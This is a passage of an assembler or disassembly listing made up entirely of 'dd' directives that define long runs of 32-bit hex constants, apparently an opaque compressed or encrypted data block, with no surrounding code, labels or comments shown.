0AF3C7C90h dd 91650F41h, 0C78E1E2Fh, 241F475Ch, 8D2CBD90h, 3D8E85Fh dd 0FC269F2h, 17E09A6Fh, 6300E36Eh, 86DFC528h, 28D6C1Ch dd 93BCA7EBh, 0B480A4EFh, 9F9E0C59h, 6C55B40Ch, 33183Ah dd 0C7F11A18h, 4A7BE496h, 809A123Ch, 0A16A9565h, 0EC1F2Ch dd 7D5FBCA4h, 0F96817D8h, 33268A18h, 625CBF40h, 0BD8DD8B4h dd 0ABA70498h, 0B000DF90h, 627FC4D0h, 0C3918E19h, 0B68F33D8h dd 0B4436000h, 0EDD7B51Fh, 8E5C00A6h, 0FBC7713Bh, 8F67AD32h dd 0B6C08230h, 6D2FB3h, 5ACBDE94h, 0B52B3057h, 6A9A4202h dd 0A0609552h, 692A5D28h, 0BD18CA5Ch, 999818C0h, 4118AB42h dd 44108EF3h, 1CD42993h, 79E08060h, 33259DDDh, 24A89364h dd 7148025Eh, 90A35262h, 1C90E120h, 6AB0E7F1h, 48127A28h dd 6D28F70Ah, 0A4F7C18h dd 6C8C0842h, 1ACC796Fh, 0F156327Eh, 21438404h, 34E99D62h dd 0A7AD4080h, 49CEA165h, 0FD4248A2h, 25184816h, 4D49EF5Ch dd 8DD918B3h, 49413848h, 0C1DA6800h, 0B52FB0E6h, 5C5A309Ch dd 2D4E9081h, 80F11490h, 40442E31h, 1F0CA071h, 30A31729h dd 6A328D59h, 5B0F39C0h, 14DE33BEh, 0CC2F0A79h, 0A3280381h dd 38119F3Ah, 0B744DBC0h, 2A612DA2h, 3C841B1Eh, 1F0CC1E8h dd 0E31052BAh, 7F24320Ah, 0B000CC15h, 2A13D623h, 9D30C371h dd 3191527Bh, 9115F028h, 13DEB90Dh, 0DC03693Bh, 0B5C107BBh dd 0A15466C1h, 49B91156h, 8358B8A0h, 0EA13625Ch, 0EE10002Bh dd 8933F944h, 16FE6D2Ch, 0CA449h, 3E3AA559h, 0F1ABAC14h dd 50FD84C8h, 70D8431h, 15DEA4F9h, 57B54081h, 5100ABC8h dd 6255B01Ch, 0C5114CEAh, 78BF2E48h, 1C81CB40h, 874068A1h dd 87143FC1h, 406D850Dh, 9941D69Ch, 0F2240FABh, 6486640Eh dd 0FD39E41Eh, 7C055455h, 0BC082F06h, 37058614h, 0B52438CEh dd 518C4811h, 1221D02Bh, 40E0A16Dh, 0E212B780h, 0FA886501h dd 0A0CA049h, 87218402h, 74760848h, 0EFE58984h, 0F6514100h dd 0C49236B3h, 4C56100h, 0CC4431Dh, 386D016Bh, 2B549D1Fh dd 0FF6C3029h, 0DBE72F12h, 5BE48400h, 1311A15Ah, 546E1AC4h dd 0A413DCACh, 2DB44067h, 7E5B624Fh, 0E2F4158h, 8A025117h dd 0D380903Ah, 71B563A7h, 73B70132h, 8B1E91B4h, 775983BBh dd 0FA28A7DCh, 16C090EFh, 926B3CBEh, 228E412Ch, 20454CD8h dd 85BE4680h, 23002673h, 0EFA13D99h, 306AE494h, 0B7480478h dd 1B51C52Ah, 0C48AF188h, 0ECF9EE29h, 0BE225291h, 0CA8C14DEh dd 7502A0FDh, 0CD5C283Eh, 0A81B7441h, 0FD009921h, 1CC4E2B0h dd 26C9D71Ah, 4A6CA8A9h, 1EC51378h, 3B958004h, 566096FBh dd 0C00CAB6h, 93D3A5DDh, 67203F6h, 8BC40B9h, 71F28D80h dd 38BE7000h, 0B048EEDAh, 46EC00C1h, 0FE8B02E2h, 0AC07944Ch dd 0B2684B3Bh, 0C9EE6270h, 0DBC0048h, 0D05926DAh, 0A3001F8Dh dd 0ABF2E784h, 6F177Dh, 807E4E20h, 0C460591Dh, 0BD58E500h dd 0E351CFDFh, 4C643D11h, 7AA7D101h, 6076C153h, 3100CE53h dd 0B7039106h, 0FC10F2h, 56BC8901h, 0F1332FCFh, 15022C00h dd 0FA5A6AD0h, 135D0FC9h, 75822565h, 4B7BB94h, 6CCAD402h dd 72033625h, 4070BB5Bh, 0C315A05Ah, 13F64291h, 23032B5Dh dd 0A2F37529h, 0F81C86D1h, 0AEF00608h, 19E5BB54h, 18121C83h dd 9700C7B8h, 0C4CE4364h, 2499CDBCh, 12509409h, 67A81418h dd 41D284Ch, 0C95B28CCh, 1CBA50ECh, 6CC92AA9h, 9D733E90h dd 0A3745056h, 604AE510h, 4680851h, 0E6C05B45h, 0A2B3F928h dd 0F1640640h, 0A46FF209h, 4AD11B1Ch, 842A03Fh, 147B280Ch dd 48023C28h, 0A63B5440h, 504BF140h, 632AB300h, 0A891FA0Dh dd 0A4938102h, 20BAC013h, 0C467325h, 0A807EAF0h, 0BD76BBA7h dd 855CFC4Ah, 7D9CF504h, 10B06A54h, 0FE9F7F77h, 4C40CE80h dd 738CEE72h, 97063004h, 5823CB88h, 14AB3490h, 0A8925608h dd 478B07C9h, 6638EC1Fh, 511951C3h, 4201CA2h, 7A49702Eh dd 85FC05D0h, 84B2070Eh, 0C26A377h, 4D61019Fh, 10518A1Eh dd 7B108065h, 593147F8h, 330578E4h, 0D7692B57h, 1B8C91C0h dd 400B27Fh, 83081FF6h, 748EAB65h, 1FA57416h, 0C0736445h dd 4FBBF5EAh, 250979FEh, 23246DA3h, 0D3C62630h, 76080089h dd 73F11E45h, 0E9551210h, 40488C8Ch, 0E590864h, 46F0EF65h dd 6852C3BFh, 74EB0DE2h, 0B7A38BA8h, 8EF52500h, 2C985F7Ch dd 15E00E1h, 6E968977h, 4160D5DDh, 6A6AD79h, 23D8038Ch dd 5B306FCBh, 783E90Fh, 0E3BBEE02h, 7D7D0C0h, 4765F789h dd 43A383DCh, 9C40BAB2h, 0A70CF2E5h, 29D6D088h, 2AAB7ED9h dd 28C03EF8h, 0C84F6A5h, 667318Ah, 80004738h, 0A638D4F5h dd 3688A58Ch, 0E1419F65h, 2ED5B3Ah, 27C8077Fh, 54D04010h dd 525E0A6h, 0B10184CAh, 921EC0B8h, 21C7590Bh, 0A340D7FEh dd 0C0884B46h, 10C776A1h, 7704F11Fh, 72E61213h, 551EF880h dd 0A9FA2E91h, 984D1431h, 12EAEC2Ch, 0A838501Ch, 0CF0F10A6h dd 0F720279h, 0C138C485h, 2C1924D1h, 0DA8AC181h, 4B785542h dd 0CD2410B8h, 3843CC8h, 11FA06Ch, 13023B33h, 76DC4DDh dd 3EC3620Eh, 0A77F60D5h, 9099A071h, 0D0EB2020h, 0A8EDD702h dd 869CA627h, 1DD096A4h, 5EAEE7C9h, 2C434071h, 0A8AFF9F4h dd 62D54958h, 0C03B22C8h, 1176BE2h, 0C80545F0h, 240F4DCBh dd 2640FF50h, 30980DB9h, 0CAC85586h, 0F2DABC41h, 1B1DB808h dd 0E9F26120h, 0D07C0DECh, 0AD68076Bh, 6803D829h, 0A18654D1h dd 8C4A2187h, 7DCE2010h, 317AE610h, 7DC60C48h, 4A1F319Ah dd 8902B083h, 4EA5C865h, 0D4307D30h, 9C052C29h, 4EBEDBCEh dd 0F034C74Ch, 6660B52Ah, 29B4F118h, 0E85D6B01h, 0A8D5D791h dd 0FE957DCh, 3AE42254h, 0D440C4ECh, 1CAE2C88h, 89F1F562h dd 78119719h, 9E69918Bh, 62762C01h, 92C9A6FEh, 280D7F79h dd 58002131h, 0E99610CFh, 81589091h, 0ACDEF9F5h, 102E420h dd 9F9075E7h, 80B77627h, 0C41B9180h, 0F576CACh, 72F23A96h dd 832A3184h, 39B8738Ch, 0D31F78A7h, 9518F3C3h, 0C014D79h dd 0A960A83Ah, 7F28D671h, 9321B0B7h, 200B1EA2h, 8839FB6Ch dd 0D87C1852h, 0D19A3950h, 0B8755C00h, 0AE762688h, 7F550069h dd 2D4E70F3h, 92403E4h, 16110CEEh, 56B2EC0Fh, 40C8AC0Ah dd 59BAE424h, 0D3448098h, 7FED3D1Bh, 0C77D2D0Dh, 0BAB8EC81h dd 79EEB03Ch, 7871FF30h, 0F06AC72h, 0D0899131h, 0C887C13Ah dd 2310C0AFh, 98785DFEh, 831B040Fh, 0B267E0ECh, 9866F92Ch dd 98D55450h, 69A93DA6h, 7002A23Fh, 4FF04628h, 6F9FC60h dd 0D10B62F6h, 80557D9Bh, 8E83D4DCh, 59FA0077h, 0E54C0111h dd 6F007694h, 2A5E1082h, 0CE4E99h, 4749BEA5h, 0C5C0AEECh dd 2E00D9F0h, 0BC9B0DA7h, 170A201h, 342945F9h, 555D5E51h dd 5074568Ch, 0E8BE0444h, 0B683247Dh, 78520E70h, 198000D2h dd 0F427BB5h, 41D7EFEh, 3840B20Ch, 4F739835h, 29706422h dd 3E952159h, 113B5411h, 0BD125F10h, 88213310h, 2C892FB0h dd 218124CEh, 6C123BF3h, 8897D910h, 2C881DA5h, 418889C9h dd 11452B50h, 67116049h, 10A4122Ch, 0ED89589Ch, 0DE0B1441h dd 10208011h, 8078FCE9h, 0A08361F1h, 454164h, 547B35Fh dd 0D0ABC782h, 1F120C00h, 9596F8ADh, 0DE90030h, 0C335DD8Bh dd 0B1F0C0EEh, 0C56A3D1Eh, 6D19EAC0h, 0F379F51h, 62D1EFA5h dd 23B406B8h, 91F8877Fh, 56B69D07h, 58F18564h, 0CAFC0369h dd 0F809337Eh, 0A3802350h, 29002BB1h, 103D6C7Fh, 0FD9AEF0h dd 47E5C5E6h, 0B5805BEEh, 61857CC6h, 9F3B411Fh, 5700265Eh dd 0F918284Fh, 5CAB17C9h, 0BA1000Ch, 54316125h, 167E5F3Dh dd 7420126Bh, 0A01F05h, 15561ADBh, 0CB69F9DAh, 7E8AD103h dd 0C0D6A56Bh, 150C1A0h, 0CCB26A2Fh, 34FC89F7h, 0DF0CC070h dd 28510D16h, 0A762Fh, 0F6FBF81h, 4564761h, 0DAF0720Fh dd 97024050h, 0A1FDF6CDh, 9F70D308h, 5373C2Dh, 0B43DA380h dd 2AD417F2h, 1200C87Eh, 0D733350Fh, 75982C85h, 57C40096h dd 34414D27h, 39008E14h, 8726F235h, 629CD4h, 198AB469h dd 1695F8F4h, 6B8D2707h, 0FA71052Eh, 9FCC0776h, 0BDA10043h dd 907B63B0h, 0F438E245h, 71DC00B6h, 0BC77094Eh, 0D5641E28h dd 199C40F6h, 0EE630A2Ah dd 60C180Fh, 0F5B260AAh, 7A78965h, 0D7EBBA25h, 0B52940BEh dd 0E824EFE4h, 9400C4A0h, 41FF52EEh, 43B4004Ch, 33115C47h dd 5E006DBAh, 0F9FB1F0Bh, 1F4802D6h, 80A451E0h, 0FF698B36h dd 0C67EE691h, 9BE4C47Ah, 0A6CDDE1Eh, 69010280h, 399EF06h dd 7422364Fh, 60055A42h, 81C18BCFh, 61128600h, 79B63B8h dd 0FE475F99h, 196C0089h, 0FC7D0E08h, 4BFD2C14h, 3D5F0FD8h dd 4688C03Ch, 4AA23F89h, 0E941C2Bh, 0FA4098E7h, 570113C8h dd 403E239h, 0E633E8C5h, 10937C80h, 0B4AF00B5h, 668C9FC1h dd 0CB743D3Ah, 0A5638B00h, 89E674B7h, 8F5A0056h, 5EC28DC4h dd 31009CC8h, 933D0B09h, 0A632C5h, 42441B2Ah, 18AF1384h dd 0C6C7B000h, 0FF316D8Eh, 835A00B1h, 0B5E833ACh, 0E3004971h dd 32597ED6h, 2E57AF4h, 8E407068h, 0A180CE08h, 0C1CFA37Bh dd 2AE90B0Fh, 215580A9h, 3932DDC4h, 8080737Ah, 0D61BA736h dd 3300CC0Bh, 5219D991h, 16C588h, 7B2F09CDh, 3F98508Fh dd 0D21D3D00h, 1EB985C1h, 672E0081h, 715DCBDAh, 0D3E6A15Ah dd 97821C00h, 34BA249Ah, 2CD7A0CFh, 4B0E004Fh, 9FDECB91h dd 457DAF15h, 5ECC3407h, 0B470B36Ch, 0F2138F1h, 0C6A4C811h dd 0FACFCD60h, 4C001FA8h, 20F76844h, 1D82131h, 0D5BEEF4h dd 807850D2h, 6FDFE680h, 72A19D3Bh, 46D60062h, 0F0BA045Fh dd 1B00BB70h, 0BFEC1792h, 7C01AA74h, 4D2E00DDh, 0C76163F5h dd 400030DEh, 5ABEF61Eh, 1C54A0h, 914F8229h, 18AEE45Fh dd 0F28E10C0h, 0D2A950h, 0CCC321Dh, 0D66AECDEh, 2A087C00h dd 9B43DF77h, 0F3FC00D1h, 0CB3F76B6h, 7A00D617h, 0BDEC053Ch dd 60C4BCh, 0AFFB6D72h, 999FB1DBh, 74025414h, 6281009Eh dd 6B4F87A8h, 8D92482Ch, 0B5961300h, 0F0680A8Ah, 63D66F15h dd 81A908E4h, 963500CDh, 663762A4h, 0E96DAB01h, 91101DDh dd 16F0DCC5h, 0BAC700FDh, 31EE7DFEh, 0D7011F7Fh, 21B87390h dd 98CC3729h, 0D9726Ch, 2D2A555Ah, 0EA71D83Ch, 0B88F4000h dd 0FEA58A5Bh, 7F2904Eh, 0FDCE1D55h, 206520ACh, 0FB002722h dd 58BEBC97h, 4BE5BAh, 0A55F4D82h, 0EB71C3A6h, 0C2B0DF00h dd 5C3E8FCAh, 0BEFE003Ch, 0B326CCE8h, 4F1C13B4h, 0C4FF8E4h dd 0A2005324h, 0A5306A05h, 0CB3800C7h, 1D3F559Ah, 0FA39D315h dd 981F8152h, 67FE6DEFh, 0DC50D4h, 0CDD650Ah, 0AD7187B9h dd 0EFD29D24h, 9A5EA800h, 7A69732h, 250E9C7h, 0C6FAE09Fh dd 20017B3Bh, 459562FBh, 0E9D4011Fh, 88000EEh, 2969D60h dd 0F603C1D6h, 2B31EBFEh, 7754E0F9h, 1A72077Dh, 70910ED7h dd 685A181Dh, 12425F00h, 0E8329F31h, 0EFC100DAh, 0C91F6158h dd 0EEF0D57Bh, 0F6003DFCh, 6E849676h, 2C2FE183h, 15FD14Eh dd 0E2EDA41Bh, 2A14F417h, 8ADF440Eh, 9C1CE0B1h, 7A772A3h dd 94EB88A4h, 0AA8B9336h, 6F512A88h, 0C004170h, 1B60B70h dd 90E0BEh, 0ADDDD812h, 3EF19CC6h, 0C9DAAE00h, 523F7FB5h dd 71DEEC2Ah, 92372441h, 1FFD0007h, 0C18D798Eh, 434AC800h dd 0C94B6EE8h, 0D6E900A4h, 90420A8h, 27003664h, 0E4135C56h dd 0B1F769h, 0E30107EBh, 0DAB49A8Eh, 4B3BBF00h, 12739E2Ah dd 325800E2h, 0F8B9A886h, 0F100621Ch, 0E3EFC8FDh, 1CD2B94h dd 6BC7539Ch, 0D8859704h, 0DF00D588h, 0EF4A6909h, 0E889B986h dd 0C4B300FCh, 0F05E2456h, 3800ACC1h, 0BB43F727h, 5CD5F9h dd 58A50CDAh, 6EE51263h, 0C1FC8E00h, 453BB743h, 8D9A0762h dd 309C175Fh, 7DA5BBF5h, 599FC200h, 8994FAECh, 873600EBh dd 580FA20Ah, 7F0042B6h, 0FC21A1D7h, 34AB94h, 0F2FD2E07h dd 9A0E205Fh, 0A6AA3E00h, 0C2FC97D4h, 75BD0E63h, 0AFCFB436h dd 0C40E2819h, 0D70E0B1Fh, 0AFD267F9h, 0A11E4050h, 338D848h dd 74E0B0F4h, 90B887C6h, 0AF17DDABh, 0CB03E75Ah, 88837746h dd 3E2D9BEh, 3CED9BF9h, 5E9012A5h, 401E7E3h, 0A35FFC61h dd 0DC404BDBh, 270F5Ch, 1E082585h, 296998B2h, 0AA9AF100h dd 0F4542D56h, 0CB221C39h, 0B9ED4024h, 5D1BECD8h, 8158064Ch dd 4CB88C0Eh, 6008F0ECh, 54E328EBh, 0EF00B08Ah, 0A9D1C443h dd 768D018Bh, 234C0097h, 85FF9E0Bh, 9A00FE11h, 0D2443BC8h dd 48660694h, 0C5019BDDh, 0A72E7D3Fh, 0DB21F4CAh, 736D60Eh dd 828E0F5h, 1FFD9h, 0E0E5634Dh, 728FD4B1h, 7EAE660Bh dd 44C0032h, 48F6BDh, 10BB928Ah, 0AA8857A2h, 0DCF29D00h dd 80612869h, 0B2BA0799h, 0B0124072h, 6C92FEC1h, 6031FB0h dd 35054E8Bh, 66A18853h, 4C7C5899h, 0CEE6237Fh, 2B523200h dd 7B4E7A4Ch, 2E840025h, 0AC63C0B0h, 93008E58h, 3AEE3C6Ch dd 0D855A6h, 5E3FAACFh, 0E0B15AE5h, 4A10CD61h, 5DEC1033h dd 31D731Ah, 0DBE9423h, 0D5F86D63h, 0D41D8FE3h, 7E0062DEh dd 77C337EEh, 1BEA007Ah, 4263C882h, 193C1F15h, 8C452CE8h dd 0E0247EE0h, 23F80464h, 0C0C79B0Eh, 0DD1B02B7h, 65F0FBFCh dd 0B7E4BA00h, 113717F2h, 2A7C00EFh, 525C29F1h, 9F00BC9Bh dd 30F9E0C4h, 19972D3h, 842BD1B5h, 0C8224995h, 9C4C685Fh dd 0E58F0064h, 89C8BC46h, 28B800ADh, 0D008E3BEh, 0B1096993h dd 8E682E2Bh, 66824030h, 286010h, 3C74ED27h, 47B6B7C9h dd 17B46B00h, 0CCCB393Fh, 96270090h, 759AEC61h, 0CF03921Ch dd 6FEEA219h, 0E799E062h, 80F267C4h, 37261005h, 163BFCF1h dd 4F9E0041h, 0E6C72D14h, 3FF90046h, 0DD331947h, 0F1280576h dd 5A3CB85Bh, 85893CD2h, 0BDF25310h, 0AA1C5581h, 79EB470h dd 2CBEAC58h, 862201F8h, 3E82C4B2h, 6FD61D00h, 28158B04h dd 1001604Eh, 3AE3C285h, 71095F00h, 2F06C23h, 0A2E40286h dd 2A4E8A16h, 9C6DE7C0h, 0CDBA5A02h, 0C0B5CE05h, 1D2430h dd 1FA102EBh, 4C06B6B4h, 3CC4BA07h, 0EF514468h, 0BD601A47h dd 0DC951578h, 110790D3h, 807E42DEh, 0EF4697AFh, 8F3FEC02h dd 6072B6D7h, 7A4F50Ch, 3B08320Fh, 108370EBh, 0D04C3E18h dd 503F74h, 0EC02B3A9h, 1C02BC7h, 7186E235h, 0F0A01F1Bh dd 99001389h, 34807B14h, 4C22A7D6h, 6B01B31Ah, 0F910015Dh dd 3A2F70AFh, 0DF6E5A0Fh, 66D320ADh, 0FF61A7h, 0CC4D6A72h dd 529515B6h, 50D7E200h, 5BEAC51Ch, 839F008Eh, 0D2DDB3F0h dd 3C001656h, 0E72A1513h, 3E45E302h, 0AC93720Bh, 0B507BB64h dd 7908897h, 0EB1686Eh, 1E55DCC4h, 18CF8FBEh, 0DFC5880h dd 3B26E8B0h, 5F0F1BBBh, 0DA984035h, 0F228EDh, 67EC8B2Ah dd 0F456E622h, 0DA890A3h, 24BC7EA2h, 4E57B09h, 0FC90D82Ch dd 48BF4704h, 0B10024AEh, 0B52DF7FAh, 0C3F94BBBh, 533723A0h dd 45FBB300h, 0D131A994h, 526B04A5h, 0C7051601h, 0CAA4C0B0h dd 0ED000B7Fh, 0E0FF577Eh, 433DD1h, 9015BB75h, 0FE80BA48h dd 299C9F09h, 0E8AC00C2h, 7EC6DAF0h, 0F32B000Fh, 676E4B94h dd 2300A9BFh, 0CE982CE4h, 84CDABh, 45DC0BA4h, 0C4668C7Ch dd 87EAF900h, 908A3AFh, 4D8404EDh, 0C06F0D68h, 0AB95666Ch dd 0E3CFC883h, 0E62C989Dh, 523D0041h, 8B236FD1h, 80E68CE0h dd 0CDD7A300h, 981B2F78h, 96FE0027h, 64080441h, 5D1D164Ah dd 0EA808CA1h, 0BE9A0C2Fh, 0E1A40067h, 82186CDCh, 0A0069BCh dd 0B754BBADh, 3CB5653h, 0E8222059h, 0A5B8BA16h, 0FD00FEACh dd 57E52EA7h, 485E42B1h, 0E781730h, 52825162h, 0A87B45FDh dd 8040CCCDh, 2E00E6FCh, 72B58215h, 6370674h, 0D89211C8h dd 51EAD89Fh, 9EA12400h dd 905EA4B4h, 5AFB07EEh, 0A03A39ECh, 1496A2B2h, 0B7758401h dd 63D23774h, 105ED20h, 5A43DC9Eh, 87139791h, 173C041Eh dd 0ABA94F0h, 0A8402C6Dh, 0EE6E0B3Dh, 0A01D9101h, 0E8E3C115h dd 5A00638Dh, 41C5C7CEh, 0DFD7E6h, 304FC842h, 0A86D736Ch dd 889C1600h, 9E546712h, 82C4002Ah, 9229B97Fh, 1003EEBCh dd 3DCF882Ch, 5D6FE8A2h, 0F01A74BFh, 0B212001Dh, 662A6B7Fh dd 98024489h, 0CE93E750h, 49B381C5h, 2660BCE8h, 887F07A2h dd 0F76072F4h, 0E7B26373h, 75294BB0h, 0A828871Eh, 0DCFD5AC0h dd 0E3CAA1h, 0DD7FE11Ah, 4446C4BDh, 0CB819F04h, 6A805F63h dd 6B732Bh, 0E813115Ch, 620EF974h, 0FF8ECB24h, 0ED86DF00h dd 1F8BC2A6h, 0C0E0AFD4h, 749E3DE8h, 0D900A07Ah, 0B4986DC8h dd 882378h, 833E4124h, 262FA952h, 7A280E39h, 7D69C100h dd 8D6CC587h, 0DC6B092Bh, 4780BDF0h, 8C7B1002h, 5D03380Fh dd 859740ECh, 1C6DB605h, 0C0555A30h, 0E123B7A6h, 80C08F2Fh dd 0B8D8A4A3h, 96C83F53h, 216790h, 0C2053C8Dh, 3FD42h dd 1B06A5B9h, 18E8BC6Ah, 60A0D65Ch, 73E4DC62h, 9770A64h dd 80D8A3h, 0FC25B8C3h, 4D006649h, 0EF37D09Bh, 4BD719h dd 95F39F51h, 80CE3284h, 0FD01B58h, 6F73210Fh, 0D89E7B4h dd 19A101EBh, 8930A9D3h, 1EEC0060h, 7A94BEC0h, 400B942h dd 5C939AB7h, 13707Bh, 6ED44772h, 0A2F3C811h, 0F3A1343Ch dd 1CED7C07h, 0A690024Eh, 56955Bh, 3C26299Eh, 0BFB4C61Ah dd 0B99AE000h, 4064EC8Ch, 4542007Dh, 0A0671F30h, 0DD00A12Dh dd 72D21629h, 50E4A9h, 0B4C5D45Ah, 92666E64h, 0BABF8500h dd 37C447CAh, 88E274h, 0D88F919Dh, 13278B79h, 3B60E003h dd 90ED6CD4h, 266E2Bh, 0BFC41130h, 0D6E4120Bh, 0B798B600h dd 9B22B402h, 992A00E6h, 0AB787EA1h, 5F01FF56h, 35A2C7D4h dd 71E08ECCh, 493818BFh, 0C50E783Bh, 59B45701h, 0D0E8CF45h dd 7D1001EFh, 0DC4DC2FCh, 52DF2008h, 59E3A300h, 0EE03446Ch dd 0AFE40049h, 0FD89E2FAh, 0C9000446h, 42C40DCCh, 7E2E0F32h dd 30480025h, 5FE80690h, 8403F9A5h, 924BBC0h, 0D81DE3D9h dd 197E64h, 3F52AA88h, 0CB9D41DEh, 0B266507h, 1F2068C2h dd 0A0978BDDh, 7A4EB94h, 5E4D9E85h, 0CDED02Bh, 0BF03A263h dd 1609E544h, 0AA5DE8C4h, 10F900B9h, 7FC92F74h, 60037E4h dd 81A8C70Eh, 0D25FFEh, 32679065h, 5270C65Dh, 0F88FCE00h dd 98C51748h, 654230C1h, 0ABEA7520h, 113F93Eh, 761A8B94h dd 0CDD8D5C4h, 7CA7792h, 1BF8C7B9h, 301D21C9h, 0D1D860D6h dd 0F9FC5200h, 58BB2EEDh, 0AEF30F41h, 20804F05h, 0E9E6A425h dd 0B9500406h, 7E0A786h, 98BB0C36h, 132A806Eh, 90E02D6h dd 0C08650D4h, 14F59427h, 3B2F71D8h, 240EAFD2h, 36C0D72Ch dd 569EA5E4h, 4DA62705h, 6BC0BD35h, 6396EDh, 472AD8B4h dd 0FB4F548Dh, 9CD15C00h, 0F367CD77h, 14CE7210h, 0A8C914B8h dd 0D7592E00h, 0A1C1BE6Ah, 7DE0AD00h, 0D6FE21BAh, 30090756h dd 0F0740BAFh, 0AB902B28h, 0DB6B9700h, 0EAEC650Ch, 0FDF0DC45h dd 3BBC27A4h, 0BE8E2680h, 4DF985B8h, 0EF6F380Eh, 0FAFEE0DAh dd 2A5BCh, 94544CA4h, 0FF9CAA80h, 8A90E601h, 114D26B3h dd 9013F1F4h, 3D320058h, 0A480B51Bh, 0DC0027E5h, 1506F2BBh dd 4A7311h, 0E4055C84h, 0E2A9834Ch, 63DA9B00h, 0D455416h dd 1403009Fh, 414BF9B6h, 0A000ECFBh, 70BAD31Dh, 23884BDh dd 63B09FF0h, 0A660AEE8h, 0EDF40679h, 456E5300h, 0A5090561h dd 9C560790h, 84FB8DA6h, 0F56CC0C7h, 870E1849h, 40F136AAh dd 43D8ABEDh, 726BF232h, 345A0035h, 0D95D745Eh, 0D707BC4Dh dd 0D45C271Ch, 0C3CD4460h, 46BA007Ch, 0D4E3A42h, 653B40B3h dd 0F31CF807h, 2A8089CAh, 3E75CD8Fh, 0CED104B0h, 0FF61A8EEh dd 43BA2580h, 3F0600FEh, 0E1D077BCh, 7100AA49h, 5110A078h dd 7AD30818h, 0FC3E012Bh, 0DF88A868h, 3FB7E498h, 6CA4B301h dd 0F64A1B30h, 778C1E4h, 0A5CA370Bh, 274F6046h, 0EE0352FAh dd 47F6F28Dh, 32A18943h, 23FBECh, 0D0DC4FA2h, 46D2E269h dd 0F2018200h, 7461E33Dh, 0B694C0AAh, 8C1D984Eh, 0F740D800h dd 2228ABF1h, 2F660CE3h, 830E9A8h, 7962BE00h, 55FDCBB5h dd 7A5D00C5h, 33512004h, 2D001165h, 5BE6FB49h, 14F74D2h dd 7E47553Bh, 0DCF661D4h, 51E5670h, 0D2C0EB3Ch, 94E47591h dd 9A510043h, 333FFEEAh, 0BB03A356h, 0B4D7A1EDh, 6A09F95Eh dd 476ECh, 0DAC380C8h, 6175FB83h, 8371113Dh, 16544B09h dd 0EF88B032h, 176F00A9h, 0C339E929h, 0E80FD70Ah, 8A308EECh dd 5C008C71h, 0D3E2ED1Dh, 349E008Ch, 3F98B9B5h, 0C607C3F0h dd 1008B80Fh, 74AA46BEh, 918901B0h, 34A06D9Eh, 56808328h dd 0D8FC2AC6h, 4EACEDh, 0C2373105h, 5EF08E17h, 0F2C76900h dd 5930A455h, 0CD570B19h, 377BC77h, 0B8BDF937h, 0E2263Ah dd 0E302B298h, 96FDE71Ch, 3D4F951Eh, 0AF404C9Ch, 0B125FF97h dd 467682h, 0E6F21FB8h, 0A0B30E2Fh, 0EB07DAE6h, 7C0D3F58h dd 0F166CB1h, 81B4A980h, 0A476E3Ah, 0D6A5D41Fh, 6CB2B340h dd 7176F7B9h, 0F1F807DEh, 9730DB66h, 8315407Ah, 2F00FCFFh dd 0D419A732h, 0C5569DFh, 312BC93Fh, 0FF7FDB60h, 50ED402Fh dd 27F700EAh, 0D7D4C8CFh, 3C003B0Eh, 6E956123h, 7E2DE4E7h dd 0BA300135h, 56042C73h, 0CDC08065h, 99C4B33Ch, 0D0CE804Fh dd 40665A40h, 0E500286Bh, 162FB2Ch, 77E9BF1h, 46DDD921h dd 0C943418Bh, 2AD16054h, 24727500h, 6B4F227Fh, 0ADC700C1h dd 0F123396Dh, 7B04D305h, 371D01B8h, 0E0F8C481h, 4AFBA8CBh dd 8ED11D99h, 2F6B4074h, 0FC802A11h, 941AB800h, 0B09D00Dh dd 0B97F0022h, 0EBE959FBh, 0A8035C5Fh, 62820831h, 0F350C9E0h dd 4D6DD940h, 0EDA51844h, 0F795C824h, 802CB93Dh, 968AC51h dd 3B4E0FF5h, 0D181E97Ch, 72BFCDD4h, 0D938E470h, 2F174200h dd 86F51359h, 30B40352h, 0F675B5E7h, 2B9479F8h, 22812809h dd 0A70C8078h, 0A5E6DFh, 0FE73B96Dh, 0FA9CFDE4h, 287AFC90h dd 5B847809h, 0A84B80F0h, 0F6C2D9h, 0A69D143Dh, 36D7BA6Fh dd 4E7E7D00h, 7BE25A70h, 0A4514805h, 0DF845D00h, 0D866AF54h dd 7ECE0700h, 7217FB50h, 8A040F25h, 82875B3Ah, 0C3DD713Eh dd 7003E930h, 8100A796h, 33493C4Bh, 2293B6Fh, 60DF89DAh dd 8C806803h, 0F9314532h, 4C8FDE00h, 0CB6F409Bh, 67B700FAh dd 22CA5F90h, 4A00B31Bh, 815D7987h, 0F6124966h, 3D9F1F5Eh dd 0E76A4037h, 0BBFD7740h, 0EB795500h, 0B357FF0Bh, 1DBF0262h dd 2C93DE99h, 18545760h, 319D60Fh, 0FB0A2005h, 1DF2C4B2h dd 0FC4E5140h, 96614C00h, 6C1B2DFFh, 86563600h, 0A694ABBEh dd 2C9D1853h, 0A2E2B86Fh, 1752FC03h, 0EFFBB5h, 0B6D30EF8h dd 0BC92DCA8h, 0A11D0200h, 0D4C727CCh, 87F10397h, 0B7826463h dd 57E0488h, 6DCA1B18h, 8BA55C50h, 0B302ECF8h, 76B4C05h dd 0A0041910h, 0C4C07679h, 0E32D89h, 87AAF720h, 162B0CCAh dd 2842F03h, 9047BB36h, 28AE190h, 2C32D19Dh, 0A881F86Ch dd 0D1A3790Ch, 7A48808Dh, 7DFB8AC3h, 26A213B0h, 0CEC00F3h dd 6F548036h, 0F8BCF55Ah, 0F6711703h, 9798FF04h, 1300734Eh dd 45D01C61h, 0DF0BECh, 5B75E412h, 0C906A292h, 8FE61400h dd 9E7F748Bh, 0CD240097h, 30E21DD6h, 5260B222h, 8EE2CF0h dd 0D40C4814h, 6F81643Ah dd 9A5B1393h, 18832BCh, 0E3048FDCh, 8AD4DBEEh, 0C789089h dd 5BAA39FAh, 0F005CAA0h, 1524C7A4h, 0FC6D2090h, 0A8C80065h dd 61FF4C4Ah, 0A71D282Fh, 5280F172h, 0C4388D07h, 86E2A180h dd 0CA2F70h, 35FFB48Bh, 0CF732068h, 0E20072F4h, 74837AEBh dd 0DDF499h, 0FECC87E6h, 49F05ADh, 4B30F301h, 2CAB071Dh dd 79C902C0h, 0C04700B8h, 0F21B09ADh, 15006BD6h, 0AEA735C3h dd 2FD227h, 41863FE6h, 80D8E5B8h, 0ABD8200h, 0B353F692h dd 0A446006Dh, 5179CCEFh, 0E5009D49h, 607CCB99h, 0A31DEBh dd 6F98B02Ch, 478C3D27h, 97F1824h, 0CB11A00h, 160E24h dd 7DFECDBCh, 744805Bh, 86C8EB00h, 11FFEE19h, 828738CAh dd 